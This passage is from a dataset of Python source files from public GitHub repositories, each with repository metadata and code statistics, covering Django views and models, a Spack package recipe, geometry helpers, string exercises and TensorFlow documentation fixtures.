| 24.406977 | 85 | 0.553597 | 219 | 2,099 | 5.031963 | 0.246575 | 0.101633 | 0.058984 | 0.068058 | 0.582577 | 0.470962 | 0.443739 | 0.443739 | 0.443739 | 0.443739 | 0 | 0.013298 | 0.283468 | 2,099 | 85 | 86 | 24.694118 | 0.719415 | 0.919009 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ab44f683ec9b81a04f9398322cadf538c4b9b4ca | 1,433 | py | Python | experiments/digits_exp.py | zzh237/quanthmc | 8126691b43bddc2b1a96f73ab35d04d1af200d7a | [
"MIT"
] | null | null | null | experiments/digits_exp.py | zzh237/quanthmc | 8126691b43bddc2b1a96f73ab35d04d1af200d7a | [
"MIT"
] | null | null | null | experiments/digits_exp.py | zzh237/quanthmc | 8126691b43bddc2b1a96f73ab35d04d1af200d7a | [
"MIT"
] | null | null | null | import os
import numpy as np
from experiments import exp_interface
from data import *
from model.fully_connected import *
from model.vqc_layers import *
from algo.hmc import *
from quant_architecture.variational_qunt_circuit import *
from algo.algo_interface import *
class digits_exp(exp_interface):
def __init__(self):
self.filename = os.path.basename(__file__)
def prepare_exp(self, args):
self.args = args
# this we do rather use it here
def prepare_model(self)->nn.Module:
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
if self.args.model_name == 'Quant':
model = vqc_net(self.args, vqc(self.args))
if self.args.model_name == 'mlp':
model = MLP(input_dim=self.args.feature_dim, width=self.args.mlp_width, depth=self.args.mlp_depth, output_dim=10).to(device)
return model
def feed_data(self, data):
self.data = data
# @getattr
# def model_name(self):
# return repr(self.algo)
# we don't need this line of codes, since they are all the same for each algorithm
def apply_algorithm(self, algo_interface):
self.algo = algo_interface
if self.args.algo_name == 'HMC':
self.algo.fit()
err, best_err,loss = self.algo.predict()
return err, best_err,loss
| 28.098039 | 136 | 0.63224 | 197 | 1,433 | 4.416244 | 0.441624 | 0.091954 | 0.034483 | 0.034483 | 0.043678 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002882 | 0.273552 | 1,433 | 50 | 137 | 28.66 | 0.832853 | 0.117237 | 0 | 0 | 0 | 0 | 0.015886 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.172414 | false | 0 | 0.310345 | 0 | 0.586207 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
ab532149a6bca05e5cc59428ad80d273ebd788bf | 448 | py | Python | Day_4/Rotate_Image/rotate.py | ELLIPSIS009/100-Days-Coding-Challenge | d4d39e46372ae08fa260a45d0f1a436b6bf54468 | [
"MIT"
] | null | null | null | Day_4/Rotate_Image/rotate.py | ELLIPSIS009/100-Days-Coding-Challenge | d4d39e46372ae08fa260a45d0f1a436b6bf54468 | [
"MIT"
] | null | null | null | Day_4/Rotate_Image/rotate.py | ELLIPSIS009/100-Days-Coding-Challenge | d4d39e46372ae08fa260a45d0f1a436b6bf54468 | [
"MIT"
] | null | null | null | # def rotate(l, n):
# rl = []
# for i in range(n):
# temp = []
# for j in range(n):
# temp.append(l[n-1-j][i])
# rl.append(temp)
# return rl
# n = int(input())
# l = []
# for i in range(n):
# l.append(list(map(int, input().split(' '))))
# l = [[5,1,9,11],[2,4,8,10],[13,3,6,7],[15,14,12,16]]
# n = len(l)
# rl = rotate(l, n)
# print(rl)
# for i in rl:
# print(' '.join(list(map(str, i)))) | 20.363636 | 54 | 0.444196 | 80 | 448 | 2.4875 | 0.475 | 0.030151 | 0.090452 | 0.080402 | 0.120603 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075235 | 0.287946 | 448 | 22 | 55 | 20.363636 | 0.548589 | 0.910714 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
db409d427807afd1e76499b79399dd9ca62b1e53 | 670 | py | Python | django_nustjs_rest_auth_example/users/views.py | loftwah/Django-NuxtJS-REST-auth-example | eb540d3287e590b1a043653a41fb3f669ae6ba0c | [
"MIT"
] | 2 | 2020-05-16T21:28:08.000Z | 2020-07-06T12:13:50.000Z | django_nustjs_rest_auth_example/users/views.py | loftwah/Django-NuxtJS-REST-auth-example | eb540d3287e590b1a043653a41fb3f669ae6ba0c | [
"MIT"
] | null | null | null | django_nustjs_rest_auth_example/users/views.py | loftwah/Django-NuxtJS-REST-auth-example | eb540d3287e590b1a043653a41fb3f669ae6ba0c | [
"MIT"
] | 1 | 2020-05-16T21:28:10.000Z | 2020-05-16T21:28:10.000Z | from rest_framework.viewsets import ReadOnlyModelViewSet
from rest_auth.registration.views import SocialLoginView
from allauth.socialaccount.providers.facebook.views import FacebookOAuth2Adapter
from allauth.socialaccount.providers.google.views import GoogleOAuth2Adapter
from .models import User
from .serializers import UserSerializer
class UserViewSet(ReadOnlyModelViewSet):
"""
A simple ViewSet for viewing users.
"""
queryset = User.objects.all()
serializer_class = UserSerializer
class FacebookLogin(SocialLoginView):
adapter_class = FacebookOAuth2Adapter
class GoogleLogin(SocialLoginView):
adapter_class = GoogleOAuth2Adapter
| 26.8 | 80 | 0.816418 | 65 | 670 | 8.338462 | 0.553846 | 0.060886 | 0.088561 | 0.121771 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006849 | 0.128358 | 670 | 24 | 81 | 27.916667 | 0.921233 | 0.052239 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.461538 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
db52277bbbc9098d3bc5cad7fb5ef134789acea9 | 666 | py | Python | var/spack/repos/builtin/packages/r-go-db/package.py | kkauder/spack | 6ae8d5c380c1f42094b05d38be26b03650aafb39 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 2 | 2020-09-10T22:50:08.000Z | 2021-01-12T22:18:54.000Z | var/spack/repos/builtin/packages/r-go-db/package.py | kkauder/spack | 6ae8d5c380c1f42094b05d38be26b03650aafb39 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 14 | 2021-07-20T01:04:53.000Z | 2022-03-02T01:08:36.000Z | var/spack/repos/builtin/packages/r-go-db/package.py | kkauder/spack | 6ae8d5c380c1f42094b05d38be26b03650aafb39 | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] | 1 | 2021-05-06T00:17:46.000Z | 2021-05-06T00:17:46.000Z | # Copyright 2013-2021 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class RGoDb(RPackage):
"""A set of annotation maps describing the entire Gene
Ontology assembled using data from GO."""
homepage = "https://www.bioconductor.org/packages/GO.db/"
url = "https://www.bioconductor.org/packages/3.5/data/annotation/src/contrib/GO.db_3.4.1.tar.gz"
version('3.4.1', sha256='2fc2048e9d26edb98e35e4adc4d18c6df54f44836b5cc4a482d36ed99e058cc1')
depends_on('r-annotationdbi', type=('build', 'run'))
| 37 | 100 | 0.741742 | 90 | 666 | 5.466667 | 0.8 | 0.03252 | 0.081301 | 0.093496 | 0.126016 | 0 | 0 | 0 | 0 | 0 | 0 | 0.100346 | 0.132132 | 666 | 17 | 101 | 39.176471 | 0.750865 | 0.42042 | 0 | 0 | 0 | 0.166667 | 0.600536 | 0.171582 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
db58a5cbd3c298a11ba6e213a7a32ea2801eec65 | 129 | py | Python | oscar/apps/customer/apps.py | nosrevi/django-oscar | 180571fecec6fbe4654fbcd3e3017d8580814450 | [
"BSD-3-Clause"
] | 2 | 2015-12-11T00:19:15.000Z | 2021-11-14T19:44:42.000Z | oscar/apps/customer/apps.py | nosrevi/django-oscar | 180571fecec6fbe4654fbcd3e3017d8580814450 | [
"BSD-3-Clause"
] | null | null | null | oscar/apps/customer/apps.py | nosrevi/django-oscar | 180571fecec6fbe4654fbcd3e3017d8580814450 | [
"BSD-3-Clause"
] | null | null | null | from django.apps import AppConfig
class CustomerConfig(AppConfig):
app_label = 'customer'
name = 'oscar.apps.customer'
| 18.428571 | 33 | 0.736434 | 15 | 129 | 6.266667 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170543 | 129 | 6 | 34 | 21.5 | 0.878505 | 0 | 0 | 0 | 0 | 0 | 0.209302 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
db5a0c15f7973d7f0ecc6769b03aab6ab9863bea | 426 | py | Python | coders/curso_python/fundamentos/strings.py | flaviogf/Cursos | 2b120dbcd24a907121f58482fdcdfa01b164872c | [
"MIT"
] | 2 | 2021-02-20T23:50:07.000Z | 2021-08-15T03:04:35.000Z | coders/curso_python/fundamentos/strings.py | flaviogf/Cursos | 2b120dbcd24a907121f58482fdcdfa01b164872c | [
"MIT"
] | 18 | 2019-08-07T02:33:00.000Z | 2021-03-18T22:52:38.000Z | coders/curso_python/fundamentos/strings.py | flaviogf/Cursos | 2b120dbcd24a907121f58482fdcdfa01b164872c | [
"MIT"
] | 2 | 2020-09-28T13:00:09.000Z | 2021-12-30T12:21:08.000Z | print(dir(str))
nome = 'Flavio'
print(nome)
print(nome[:3])
texto = 'marca d\' agua'
print(texto)
texto = "marca d' agua"
print(texto)
texto = ''' texto
... texto
'''
print(texto)
texto = ' texto\n\t ...texto'
print(texto)
print(str.__add__('a', 'b'))
nome = 'Flavio Garcia Fernandes'
print(nome)
print(nome[-9:])
print(nome[::-1])
numeros = '0123456789'
print(numeros[1::2])
print(numeros[::2])
| 16.384615 | 33 | 0.603286 | 60 | 426 | 4.216667 | 0.366667 | 0.237154 | 0.177866 | 0.142292 | 0.217391 | 0.217391 | 0.217391 | 0 | 0 | 0 | 0 | 0.045845 | 0.180751 | 426 | 25 | 34 | 17.04 | 0.679083 | 0 | 0 | 0.272727 | 0 | 0 | 0.249377 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.590909 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
db5db53551182f84296f132c76654d660f5cd73c | 467 | py | Python | src/clamnotif/checkcfg.py | pisoftmacao/clamnotif | 8e76859c9fcaef76c6eb10c3af357a5310ac7f4e | [
"MIT"
] | 1 | 2021-11-12T20:58:18.000Z | 2021-11-12T20:58:18.000Z | src/clamnotif/checkcfg.py | pisoftmacao/clamnotif | 8e76859c9fcaef76c6eb10c3af357a5310ac7f4e | [
"MIT"
] | null | null | null | src/clamnotif/checkcfg.py | pisoftmacao/clamnotif | 8e76859c9fcaef76c6eb10c3af357a5310ac7f4e | [
"MIT"
] | null | null | null | import os
from .echo import echo
class CheckConfig(object):
def __init__(self, _echo):
self.echo = _echo
def process(self, cfg_path):
self.echo.welcome()
self.echo.checkcfg_file_exist_start()
if os.path.isfile(cfg_path):
self.echo.checkcfg_file_exist_success()
return
self.echo.checkcfg_file_exist_failed()
self.echo.checkcfg_file_exist_failed_tips()
checkcfg = CheckConfig(echo)
| 21.227273 | 51 | 0.663812 | 59 | 467 | 4.898305 | 0.40678 | 0.193772 | 0.221453 | 0.276817 | 0.387543 | 0.214533 | 0 | 0 | 0 | 0 | 0 | 0 | 0.246253 | 467 | 21 | 52 | 22.238095 | 0.821023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
db6bd353481129f2664a91fade7020c5596a501c | 4,312 | py | Python | ozobotmapf/graphics/shapes.py | Emejzon/ozobot-mapf-simulator | a71580391bb142223afd3e7b31efee8adaf21261 | [
"MIT"
] | null | null | null | ozobotmapf/graphics/shapes.py | Emejzon/ozobot-mapf-simulator | a71580391bb142223afd3e7b31efee8adaf21261 | [
"MIT"
] | null | null | null | ozobotmapf/graphics/shapes.py | Emejzon/ozobot-mapf-simulator | a71580391bb142223afd3e7b31efee8adaf21261 | [
"MIT"
] | null | null | null | import math
from ozobotmapf.utils.constants import Directions
class Point:
"""Class representing a point in 2D space.
Point(0, 0) is located in the top-left corner of the application window.
Attributes:
x (int): X coordinate (vertical axis)
y (int): Y coordinate (horizontal axis)
"""
def __init__(self, x: int, y: int):
"""Initialization of Point instance.
Args:
x (int): X coordinate (vertical axis)
y (int): Y coordinate (horizontal axis)
"""
self.x, self.y = x, y
def moved(self, x, y):
"""Method creates a copy of the point moved by x and y.
Args:
x (int): Length by which the point should be moved along the X axis
y (int): Length by which the point should be moved along the Y axis
Returns:
Point: New point instance moved by x and y
"""
return Point(self.x + x, self.y + y)
def moved_direction(self, direction, by):
"""Method creates a copy of the point moved by a given distance in a given direction.
Args:
direction (Directions): Direction of the point move
by (int): Length by which the point should be moved
Returns:
Point: New point instance moved in a given direction
"""
if direction == Directions.UP:
return self.moved(0, -by)
elif direction == Directions.DOWN:
return self.moved(0, by)
elif direction == Directions.RIGHT:
return self.moved(by, 0)
elif direction == Directions.LEFT:
return self.moved(-by, 0)
else:
return self
def offset_to(self, other, offset):
"""Method creates a copy of the point moved along the direction towards or from some other given point.
Args:
other (Point): Other point
offset (float): Percentage of the move distance to other point (can be greater than 1 or negative)
Returns:
Point: New point instance moved to or from other point by given offset.
"""
x_off = (other.x - self.x) * offset
y_off = (other.y - self.y) * offset
return self.moved(x_off, y_off)
def dist_to(self, other):
"""Method computes distance between two points.
Args:
other (Point): Other point
Returns:
float: Distance to the other point
"""
return math.sqrt((self.x - other.x)**2 + (self.y - other.y)**2)
def to_list(self):
"""Method returns the point in a pair representation. (for pygame)"""
return self.x, self.y
def __str__(self):
return "Point [{}, {}]".format(self.x, self.y)
def __getitem__(self, item):
if item == 0:
return self.x
elif item == 1:
return self.y
else:
raise IndexError("Point has only two properties.")
def __len__(self):
return 2
class Rectangle:
"""Class representing a rectangle in 2D space.
Attributes:
origin (Point): Top-left corner of the rectangle
width (int): width of the rectangle
height (int): height of the rectangle
"""
def __init__(self, origin: Point, width: int, height: int):
"""Initialization of Rectangle instance.
Args:
origin (Point): Top-left corner of the rectangle
width (int): width of the rectangle
height (int): height of the rectangle
"""
self.origin = Point(*origin.to_list())
self.width = width
self.height = height
def to_list(self):
"""Method returns the rectangle in a tuple representation (for pygame)."""
return self.origin, self.width, self.height
def __str__(self):
return "Rectangle [Origin: {}, W: {}, H: {}]".format(self.origin, self.width, self.height)
def __getitem__(self, item):
if item == 0:
return self.origin.x
elif item == 1:
return self.origin.y
elif item == 2:
return self.width
elif item == 3:
return self.height
else:
raise IndexError("Point has only two properties.")
def __len__(self):
return 4
| 29.944444 | 111 | 0.575835 | 557 | 4,312 | 4.382406 | 0.192101 | 0.057354 | 0.034412 | 0.018435 | 0.514134 | 0.434248 | 0.377304 | 0.328554 | 0.281442 | 0.208931 | 0 | 0.006584 | 0.330705 | 4,312 | 143 | 112 | 30.153846 | 0.839224 | 0.425557 | 0 | 0.288136 | 0 | 0 | 0.051838 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.237288 | false | 0 | 0.033898 | 0.067797 | 0.644068 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
db8bc31314bed5d68362b54fa7f46ab72456a76b | 281 | py | Python | pynamo/exceptions.py | samuraisam/pynamo | e7014410687d9fee41420233b7d15e5eb7843f92 | [
"MIT"
] | 4 | 2015-11-05T08:50:19.000Z | 2020-10-15T16:59:48.000Z | pynamo/exceptions.py | thtrieu/pynamo-1 | e7014410687d9fee41420233b7d15e5eb7843f92 | [
"MIT"
] | null | null | null | pynamo/exceptions.py | thtrieu/pynamo-1 | e7014410687d9fee41420233b7d15e5eb7843f92 | [
"MIT"
] | 1 | 2020-10-15T03:10:27.000Z | 2020-10-15T03:10:27.000Z | class NotFoundError(Exception):
"""
Thrown during :meth:`get` when the requested object could not be found.
"""
pass
class ValidationError(Exception):
"""
Thrown by :class:`Field` subclasses when setting attributes that are
invalid.
"""
pass
| 20.071429 | 75 | 0.651246 | 31 | 281 | 5.903226 | 0.806452 | 0.163934 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.24911 | 281 | 13 | 76 | 21.615385 | 0.867299 | 0.533808 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
db940738570eac6acd8bc8366c17046b5c1b44c1 | 4,422 | py | Python | timesketch/models/user.py | Marwolf/timesketch | 8fbbb3d0a5a50dc0214fc56a9bbec82050908103 | [
"Apache-2.0"
] | null | null | null | timesketch/models/user.py | Marwolf/timesketch | 8fbbb3d0a5a50dc0214fc56a9bbec82050908103 | [
"Apache-2.0"
] | null | null | null | timesketch/models/user.py | Marwolf/timesketch | 8fbbb3d0a5a50dc0214fc56a9bbec82050908103 | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This module implements the user model."""
from flask_bcrypt import generate_password_hash
from flask_bcrypt import check_password_hash
from flask_login import UserMixin
from sqlalchemy.types import Boolean
from sqlalchemy import Column
from sqlalchemy import PrimaryKeyConstraint
from sqlalchemy import ForeignKey
from sqlalchemy import Integer
from sqlalchemy import Table
from sqlalchemy import Unicode
from sqlalchemy import UnicodeText
from sqlalchemy.orm import backref
from sqlalchemy.orm import relationship
from timesketch.models import BaseModel
from timesketch.models.annotations import LabelMixin
from timesketch.models.annotations import StatusMixin
# Helper table for Groups many-to-many relationship.
user_group = Table('user_group', BaseModel.metadata,
Column('user_id', Integer(), ForeignKey('user.id')),
Column('group_id', Integer(), ForeignKey('group.id')),
PrimaryKeyConstraint('user_id', 'group_id'))
class User(UserMixin, BaseModel):
"""Implements the User model."""
username = Column(Unicode(255), unique=True)
password = Column(Unicode(128))
name = Column(Unicode(255))
email = Column(Unicode(255))
active = Column(Boolean(), default=True)
sketches = relationship(u'Sketch', backref=u'user', lazy=u'dynamic')
searchindices = relationship(
u'SearchIndex', backref=u'user', lazy=u'dynamic')
timelines = relationship(u'Timeline', backref=u'user', lazy=u'dynamic')
views = relationship(u'View', backref=u'user', lazy=u'dynamic')
stories = relationship(u'Story', backref=u'user', lazy=u'dynamic')
my_groups = relationship(u'Group', backref=u'user', lazy=u'dynamic')
groups = relationship(
u'Group',
secondary=user_group,
backref=backref(u'users', lazy=u'dynamic'))
def __init__(self, username, name=None):
"""Initialize the User object.
Args:
username: Username for the user
name: Name of the user
"""
super(User, self).__init__()
self.username = username
self.name = name
if not name:
self.name = username
def set_password(self, plaintext, rounds=12):
"""Sets the password for the user. The password hash is created with the
Bcrypt python library (http://www.mindrot.org/projects/py-bcrypt/).
Args:
plaintext: The plaintext password to hash
rounds: Number of rounds to use for the bcrypt hashing
"""
password_hash = generate_password_hash(plaintext, rounds)
self.password = unicode(password_hash)
def check_password(self, plaintext):
"""Check a plaintext password against a stored password hash.
Args:
plaintext: A plaintext password
Returns:
A boolean value indicating if the plaintext password matches the
stored password hash.
"""
return check_password_hash(self.password, plaintext)
class Group(LabelMixin, StatusMixin, BaseModel):
"""Implements the Group model."""
name = Column(Unicode(255), unique=True)
display_name = Column(Unicode(255))
description = Column(UnicodeText())
user_id = Column(Integer, ForeignKey(u'user.id'))
def __init__(self, name, display_name=None, description=None, user=None):
"""Initialize the Group object.
Args:
name: Name of the group
display_name: User friendly name of the group
description: Description of the group
user: Creator (instance of timesketch.models.user.User)
"""
super(Group, self).__init__()
self.name = name
self.display_name = display_name or name
self.description = description or name
self.user = user
| 36.85 | 80 | 0.686115 | 549 | 4,422 | 5.444444 | 0.300546 | 0.046838 | 0.046838 | 0.032118 | 0.090331 | 0.048177 | 0 | 0 | 0 | 0 | 0 | 0.008156 | 0.223654 | 4,422 | 119 | 81 | 37.159664 | 0.862511 | 0.336047 | 0 | 0.033898 | 0 | 0 | 0.067772 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.067797 | false | 0.135593 | 0.271186 | 0 | 0.661017 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
db9630f723bf4e90ee88be1b6f92c6dfa285bee2 | 333 | py | Python | actoon/views/registerview.py | ACTOON-ACD2019/backend_django | 04cd62a5ccedc0bc65baeca89c5630c7cef9edba | [
"MIT"
] | null | null | null | actoon/views/registerview.py | ACTOON-ACD2019/backend_django | 04cd62a5ccedc0bc65baeca89c5630c7cef9edba | [
"MIT"
] | 28 | 2019-11-28T12:11:02.000Z | 2022-02-10T09:11:30.000Z | actoon/views/registerview.py | ACTOON-ACD2019/backend_django | 04cd62a5ccedc0bc65baeca89c5630c7cef9edba | [
"MIT"
] | null | null | null | from django.contrib.auth import get_user_model
from rest_framework import viewsets, permissions
import actoon.serializers.userserializer
class RegisterView(viewsets.ModelViewSet):
model = get_user_model()
permission_classes = (permissions.AllowAny,)
serializer_class = actoon.serializers.userserializer.UserSerializer
| 30.272727 | 71 | 0.825826 | 36 | 333 | 7.444444 | 0.611111 | 0.052239 | 0.089552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 333 | 10 | 72 | 33.3 | 0.905405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
db9863b85d7488ee23146cc3661841d58c2e40db | 177 | py | Python | backend/models/__init__.py | wirvsvirus-dortmund/backend | 74d8b7004068ca1c588ae5582f5739fb91d17177 | [
"MIT"
] | null | null | null | backend/models/__init__.py | wirvsvirus-dortmund/backend | 74d8b7004068ca1c588ae5582f5739fb91d17177 | [
"MIT"
] | 9 | 2020-03-21T13:03:27.000Z | 2020-03-29T15:12:38.000Z | backend/models/__init__.py | wirvsvirus-dortmund/backend | 74d8b7004068ca1c588ae5582f5739fb91d17177 | [
"MIT"
] | null | null | null | from .database import db
from .users import User, Role
from .shops import Shop, CustomerDatapoint
__all__ = [
'db',
'Shop', 'CustomerDatapoint',
'User', 'Role',
]
| 16.090909 | 42 | 0.661017 | 20 | 177 | 5.65 | 0.55 | 0.141593 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.20904 | 177 | 10 | 43 | 17.7 | 0.807143 | 0 | 0 | 0 | 0 | 0 | 0.175141 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
dba383f4c29e4a554ab0dbf39c6530bae08cd75f | 1,562 | py | Python | tools/tensorflow_docs/api_generator/compat_test/__init__.py | markus-hinsche/docs | 9edcd05306c98755f26b9ac7738a8dd5ee0e268f | [
"Apache-2.0"
] | null | null | null | tools/tensorflow_docs/api_generator/compat_test/__init__.py | markus-hinsche/docs | 9edcd05306c98755f26b9ac7738a8dd5ee0e268f | [
"Apache-2.0"
] | null | null | null | tools/tensorflow_docs/api_generator/compat_test/__init__.py | markus-hinsche/docs | 9edcd05306c98755f26b9ac7738a8dd5ee0e268f | [
"Apache-2.0"
] | null | null | null | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""This is a test module.
@compatibility(TF2)
test
@end_compatibility
Hello
"""
from tensorflow_docs.api_generator.compat_test import estimator
def a_function(x, y):
"""This is a function.
@compatibility(TF2)
test
@end_compatibility
@compatibility(numpy)
test
@end_compatibility
It does things.
Args:
x: x
y: y
Returns:
None
"""
del x
del y
return None
class AClass:
"""This is a class.
@compatibility(TF2)
test
@end_compatibility
It does things too.
Attributes:
x: x
y: x
"""
def __init__(self, x, y):
self.x = x
self.y = y
def a_method(self, x, y):
"""Methods can have compatibility notes too.
@compatibility(TF2)
test
@end_compatibility
It does things too.
Args:
x: x
y: y
Returns:
None
"""
del x
del y
return None
| 17.550562 | 80 | 0.638284 | 214 | 1,562 | 4.593458 | 0.481308 | 0.061038 | 0.101729 | 0.093591 | 0.284842 | 0.211597 | 0.179044 | 0.179044 | 0.179044 | 0.07528 | 0 | 0.010017 | 0.233035 | 1,562 | 88 | 81 | 17.75 | 0.810518 | 0.740717 | 0 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.076923 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dbbc8d9b2a48fa727a6ae11092f1bcf690f1c240 | 309 | py | Python | tests/addons_tests/namespace_blue/namespace_blue/five.py | delfick/delfick_project | 4b49209639dd10cff6f48b4f5617cb7874481aaa | [
"MIT"
